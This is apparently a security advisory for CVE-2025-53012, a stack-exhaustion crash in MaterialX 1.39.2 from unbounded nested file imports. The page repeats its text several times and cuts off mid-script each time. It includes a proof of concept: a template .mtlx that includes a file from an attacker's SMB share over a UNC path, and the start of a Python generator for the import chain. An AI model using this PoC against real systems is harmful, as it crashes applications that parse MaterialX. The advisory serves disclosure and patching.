CVE-2025-53012

MaterialX is an open standard for the exchange of rich material and look-development content across applications and renderers. In version 1.39.2, nested imports of MaterialX files can lead to a crash via stack memory exhaustion, due to the lack of a limit on the "import chain" depth. When parsing file imports, recursion is used to process nested files; however, there is no limit imposed to the depth of files that can be parsed by the library. By building a sufficiently deep chain of MaterialX files one referencing the next, it is possible to crash the process using the MaterialX library via stack exhaustion. This is fixed in version 1.39.3.

MaterialX is an open standard for the exchange of rich material and look-development content across applications and renderers. In version 1.39.2, nested imports of MaterialX files can lead to a crash via stack memory exhaustion, due to the lack of a limit on the "import chain" depth. When parsing file imports, recursion is used to process nested files; however, there is no limit imposed to the depth of files that can be parsed by the library. By building a sufficiently deep chain of MaterialX files one referencing the next, it is possible to crash the process using the MaterialX library via stack exhaustion. This is fixed in version 1.39.3.

Summary

Nested imports of MaterialX files can lead to a crash via stack memory exhaustion, due to the lack of a limit on the "import chain" depth.

Details

The MaterialX specification supports importing other files by using XInclude tags.

When parsing file imports, recursion is used to process nested files in the form of a tree with the root node being the first MaterialX files parsed.

However, there is no limit imposed to the depth of files that can be parsed by the library, therefore, by building a sufficiently deep chain of MaterialX files one referencing the next, it is possible to crash the process using the MaterialX library via stack exhaustion.

PoC

This test is going to employ Windows UNC paths, in order to make the Proof Of Concept more realistic. In fact, by using windows network shares, an attacker would be able to exploit the vulnerability (in Windows) if they could control the content of a single .mtlx file being parsed.

Note that for the sake of simplicity the PoC will use the MaterialXView application to easily reproduce the vulnerability, however it does not affect MaterialXView directly.

In order to reproduce this test, please follow the steps below:

1. Compile or download the MaterialXView application in a Windows machine
2. In a separate Linux machine in the same local network, install the impacket package (the documentation of the package suggests using pipx, as in python3 -m pipx install impacket ).
3. In the Linux machine, create a file named template.mtlx with the following content:

<?xml version="1.0"?>
<materialx version="1.39" colorspace="lin_rec709">
  <xi:include href="\\\\{ip}\\{name}.mtlx"/>
  <surfacematerial name="Aluminum_Brushed" type="material">
    <input name="surfaceshader" type="surfaceshader" nodename="open_pbr_surface_surfaceshader" />
  </surfacematerial>
  <open_pbr_surface name="open_pbr_surface_surfaceshader" type="surfaceshader">
    <input name="base_color" type="color3" value="0.912, 0.914, 0.920" />
    <input name="base_metalness" type="float" value="1.0" />
    <input name="specular_color" type="color3" value="0.970, 0.979, 0.988" />
    <input name="specular_roughness" type="float" value="0.2" />
    <input name="specular_roughness_anisotropy" type="float" value="0.9" />
  </open_pbr_surface>
</materialx>

4. In the same directory, create a file named script.py with the following content:

import argparse
import uuid
import os
from pathlib import Path

MAX_FILES_PER_DIR = 1024
MAX_DIRECTORIES = 1024

def uuid_generator(count):
    for _ in range(count):
        yield str(uuid.uuid4())

def get_dir_and_file_count(total_files):
    num_dirs = (total_files + MAX_FILES_PER_DIR - 1) // MAX_FILES_PER_DIR
    if num_dirs > MAX_DIRECTORIES:
        raise ValueError(f"Too many files requested. Maximum is {MAX_FILES_PER_DIR * MAX_DIRECTORIES}")
    return num_dirs

def create_materialx_chain(template_path, output_dir, ip_address, share_name, num_iterations):
    with open(template_path, 'r') as f:
        template_content = f.read()
    
    Path(output_dir).mkdir(parents=True, exist_ok=True)
    
    dir_count = get_dir_and_file_count(num_iterations)
    dir_uuids = [str(uuid.uuid4()) for _ in range(dir_count)]
    
    for dir_uuid in dir_uuids:
        Path(os.path.join(output_dir, dir_uuid)).mkdir(exist_ok=True)
    
    uuid_gen = uuid_generator(num_iterations)
    next_uuid = next(uuid_gen)
    first_file_path = None

    for i in range(num_iterations):
        current_uuid = next_uuid
        next_uuid = next(uuid_gen) if i < num_iterations - 1 else "FINAL"
        
        dir_index = i // MAX_FILES_PER_DIR
        dir_uuid = dir_uuids[dir_index]
        
        if next_uuid != "FINAL":
            next_dir_index = (i + 1) // MAX_FILES_PER_DIR
            next_dir_uuid =…

MaterialX is an open standard for the exchange of rich material and look-development content across applications and renderers. In version 1.39.2, nested imports of MaterialX files can lead to a crash via stack memory exhaustion, due to the lack of a limit on the "import chain" depth. When parsing file imports, recursion is used to process nested files; however, there is no limit imposed to the depth of files that can be parsed by the library. By building a sufficiently deep chain of MaterialX files one referencing the next, it is possible to crash the process using the MaterialX library via stack exhaustion. This is fixed in version 1.39.3.

MaterialX is an open standard for the exchange of rich material and look-development content across applications and renderers. In version 1.39.2, nested imports of MaterialX files can lead to a crash via stack memory exhaustion, due to the lack of a limit on the "import chain" depth. When parsing file imports, recursion is used to process nested files; however, there is no limit imposed to the depth of files that can be parsed by the library. By building a sufficiently deep chain of MaterialX files one referencing the next, it is possible to crash the process using the MaterialX library via stack exhaustion. This is fixed in version 1.39.3.

Summary

Nested imports of MaterialX files can lead to a crash via stack memory exhaustion, due to the lack of a limit on the "import chain" depth.

Details

The MaterialX specification supports importing other files by using XInclude tags.

When parsing file imports, recursion is used to process nested files in the form of a tree with the root node being the first MaterialX files parsed.

However, there is no limit imposed to the depth of files that can be parsed by the library, therefore, by building a sufficiently deep chain of MaterialX files one referencing the next, it is possible to crash the process using the MaterialX library via stack exhaustion.

PoC

This test is going to employ Windows UNC paths, in order to make the Proof Of Concept more realistic. In fact, by using windows network shares, an attacker would be able to exploit the vulnerability (in Windows) if they could control the content of a single .mtlx file being parsed.

Note that for the sake of simplicity the PoC will use the MaterialXView application to easily reproduce the vulnerability, however it does not affect MaterialXView directly.

In order to reproduce this test, please follow the steps below:

1. Compile or download the MaterialXView application in a Windows machine
2. In a separate Linux machine in the same local network, install the impacket package (the documentation of the package suggests using pipx, as in python3 -m pipx install impacket ).
3. In the Linux machine, create a file named template.mtlx with the following content:

<?xml version="1.0"?>
<materialx version="1.39" colorspace="lin_rec709">
  <xi:include href="\\\\{ip}\\{name}.mtlx"/>
  <surfacematerial name="Aluminum_Brushed" type="material">
    <input name="surfaceshader" type="surfaceshader" nodename="open_pbr_surface_surfaceshader" />
  </surfacematerial>
  <open_pbr_surface name="open_pbr_surface_surfaceshader" type="surfaceshader">
    <input name="base_color" type="color3" value="0.912, 0.914, 0.920" />
    <input name="base_metalness" type="float" value="1.0" />
    <input name="specular_color" type="color3" value="0.970, 0.979, 0.988" />
    <input name="specular_roughness" type="float" value="0.2" />
    <input name="specular_roughness_anisotropy" type="float" value="0.9" />
  </open_pbr_surface>
</materialx>

4. In the same directory, create a file named script.py with the following content:

import argparse
import uuid
import os
from pathlib import Path

MAX_FILES_PER_DIR = 1024
MAX_DIRECTORIES = 1024

def uuid_generator(count):
    for _ in range(count):
        yield str(uuid.uuid4())

def get_dir_and_file_count(total_files):
    num_dirs = (total_files + MAX_FILES_PER_DIR - 1) // MAX_FILES_PER_DIR
    if num_dirs > MAX_DIRECTORIES:
        raise ValueError(f"Too many files requested. Maximum is {MAX_FILES_PER_DIR * MAX_DIRECTORIES}")
    return num_dirs

def create_materialx_chain(template_path, output_dir, ip_address, share_name, num_iterations):
    with open(template_path, 'r') as f:
        template_content = f.read()
    
    Path(output_dir).mkdir(parents=True, exist_ok=True)
    
    dir_count = get_dir_and_file_count(num_iterations)
    dir_uuids = [str(uuid.uuid4()) for _ in range(dir_count)]
    
    for dir_uuid in dir_uuids:
        Path(os.path.join(output_dir, dir_uuid)).mkdir(exist_ok=True)
    
    uuid_gen = uuid_generator(num_iterations)
    next_uuid = next(uuid_gen)
    first_file_path = None

    for i in range(num_iterations):
        current_uuid = next_uuid
        next_uuid = next(uuid_gen) if i < num_iterations - 1 else "FINAL"
        
        dir_index = i // MAX_FILES_PER_DIR
        dir_uuid = dir_uuids[dir_index]
        
        if next_uuid != "FINAL":
            next_dir_index = (i + 1) // MAX_FILES_PER_DIR
            next_dir_uuid =…

Summary

Nested imports of MaterialX files can lead to a crash via stack memory exhaustion, due to the lack of a limit on the "import chain" depth.

Details

The MaterialX specification supports importing other files by using XInclude tags.

When parsing file imports, recursion is used to process nested files in the form of a tree with the root node being the first MaterialX files parsed.

However, there is no limit imposed to the depth of files that can be parsed by the library, therefore, by building a sufficiently deep chain of MaterialX files one referencing the next, it is possible to crash the process using the MaterialX library via stack exhaustion.

PoC

This test is going to employ Windows UNC paths, in order to make the Proof Of Concept more realistic. In fact, by using windows network shares, an attacker would be able to exploit the vulnerability (in Windows) if they could control the content of a single .mtlx file being parsed.

Note that for the sake of simplicity the PoC will use the MaterialXView application to easily reproduce the vulnerability, however it does not affect MaterialXView directly.

In order to reproduce this test, please follow the steps below:

1. Compile or download the MaterialXView application in a Windows machine
2. In a separate Linux machine in the same local network, install the impacket package (the documentation of the package suggests using pipx, as in python3 -m pipx install impacket ).
3. In the Linux machine, create a file named template.mtlx with the following content:

<?xml version="1.0"?>
<materialx version="1.39" colorspace="lin_rec709">
  <xi:include href="\\\\{ip}\\{name}.mtlx"/>
  <surfacematerial name="Aluminum_Brushed" type="material">
    <input name="surfaceshader" type="surfaceshader" nodename="open_pbr_surface_surfaceshader" />
  </surfacematerial>
  <open_pbr_surface name="open_pbr_surface_surfaceshader" type="surfaceshader">
    <input name="base_color" type="color3" value="0.912, 0.914, 0.920" />
    <input name="base_metalness" type="float" value="1.0" />
    <input name="specular_color" type="color3" value="0.970, 0.979, 0.988" />
    <input name="specular_roughness" type="float" value="0.2" />
    <input name="specular_roughness_anisotropy" type="float" value="0.9" />
  </open_pbr_surface>
</materialx>

4. In the same directory, create a file named script.py with the following content:

import argparse
import uuid
import os
from pathlib import Path

MAX_FILES_PER_DIR = 1024
MAX_DIRECTORIES = 1024

def uuid_generator(count):
    for _ in range(count):
        yield str(uuid.uuid4())

def get_dir_and_file_count(total_files):
    num_dirs = (total_files + MAX_FILES_PER_DIR - 1) // MAX_FILES_PER_DIR
    if num_dirs > MAX_DIRECTORIES:
        raise ValueError(f"Too many files requested. Maximum is {MAX_FILES_PER_DIR * MAX_DIRECTORIES}")
    return num_dirs

def create_materialx_chain(template_path, output_dir, ip_address, share_name, num_iterations):
    with open(template_path, 'r') as f:
        template_content = f.read()
    
    Path(output_dir).mkdir(parents=True, exist_ok=True)
    
    dir_count = get_dir_and_file_count(num_iterations)
    dir_uuids = [str(uuid.uuid4()) for _ in range(dir_count)]
    
    for dir_uuid in dir_uuids:
        Path(os.path.join(output_dir, dir_uuid)).mkdir(exist_ok=True)
    
    uuid_gen = uuid_generator(num_iterations)
    next_uuid = next(uuid_gen)
    first_file_path = None

    for i in range(num_iterations):
        current_uuid = next_uuid
        next_uuid = next(uuid_gen) if i < num_iterations - 1 else "FINAL"
        
        dir_index = i // MAX_FILES_PER_DIR
        dir_uuid = dir_uuids[dir_index]
        
        if next_uuid != "FINAL":
            next_dir_index = (i + 1) // MAX_FILES_PER_DIR
            next_dir_uuid =…